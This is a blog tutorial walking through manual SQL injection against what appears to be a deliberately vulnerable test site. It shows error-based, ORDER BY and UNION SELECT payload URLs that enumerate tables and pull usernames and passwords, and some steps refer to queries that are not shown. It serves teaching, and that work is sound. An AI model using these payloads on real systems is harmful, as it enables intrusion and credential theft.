SQL injection is a technique where a malicious user can inject SQL Commands into an SQL statement via a web page.
An attacker could bypass authentication, access, modify and delete data within a database. In some cases, SQL Injection can even be used to execute commands on the operating system, potentially allowing an attacker to escalate to more damaging attacks inside of a network that sits behind a firewall.
So here we are going test SQL injection for “id=1″
Now use error base technique by adding an apostrophe (‘) symbol at the end of input which will try to break the query.
http://testphp.vulnweb.com/artists.php?artist=1’
In the given screenshot we can see we have got an error message which means the running site is infected by SQL injection.
Now using ORDER BY keyword to sort the records in ascending or descending order for id=1
http://testphp.vulnweb.com/artists.php?artist=1 order by 1
Similarly repeating for order 2, 3 and so on one by one.
http://testphp.vulnweb.com/artists.php?artist=1 order by 4
From the screenshot, we can see we have got an error at the order by 4 which means it consists only three records.
Let’s penetrate more inside using union base injection to select statement from a different table.
http://testphp.vulnweb.com/artists.php?artist=1 union select 1,2,3
From the screenshot, we can see it is show result for only one table not for others.
Now try to pass wrong input into the database through URL by replacing artist=1 from artist=-1 as given below:
http://testphp.vulnweb.com/artists.php?artist=-1 union select 1,2,3
Hence we can see now it is showing the result for the remaining two tables also.
Use the next query to fetch the name of the database
From the screenshot, we can read the database name "acuart"
Next query will extract the current username as well as a version of the database system
Here we have retrieve "5.1.73 0ubuntu0 10.04.1" as version and "acuart@localhost" as the current user
Through the next query, we will try to fetch table name inside the database
From the screenshot we can read the name of the first table is artists.
http://testphp.vulnweb.com/artists.php?artist=-1 union select 1,table_name,3 from information_schema.tables where table_schema=database() limit 1,1
From the screenshot we can read the name of the second table is "carts".
Similarly, repeating the same query for another table with slight change
We got table 3: "categ"
http://testphp.vulnweb.com/artists.php?artist=-1 union select 1,table_name,3 from information_schema.tables where table_schema=database() limit 3,1
We got table 4:"featured"
Similarly repeat the same query for table 4, 5, 6, and 7 with making slight changes in LIMIT.
We got table 7: "users"
http://testphp.vulnweb.com/artists.php?artist=-1 union select 1,table_name,3 from information_schema.tables where table_schema=database() limit 8,1
Since we didn’t get anything when the limit is set 8, 1 hence there might be 8 tables only inside the database.
the concat function is used for concatenation of two or more string into a single string.
From screen we can see through concat function we have successfully retrieved all table name inside the database.
We successfully retrieve all eight column names from inside the table users.
Use the concat function for selecting uname from table users by executing the following query through URL
From the screenshot, we can read "uname: test"
Use the concat function for selecting pass from table users by executing the following query through URL
From the screenshot, we can read "pass: test"
Sanjeev Singh
sanjeev.cyber4all.in
Sanjeev Singh is Certified Cyber Security Specialist & Professional. Also, Founder of "CYBER4ALL Community".
His area of interest are Red Teaming, Offensive Security, Digital forensics, Malware analysis & Security Assessments & Penetesting.
He is active blogger and publisher of Cyber Security related articles on Cyber4All.
LinkedIn Profile: Singhsanjeev617
"Performing such things without taking concerns of respective owners of System & Resources is tottaly illegal and punishable under various IT Acts and Laws."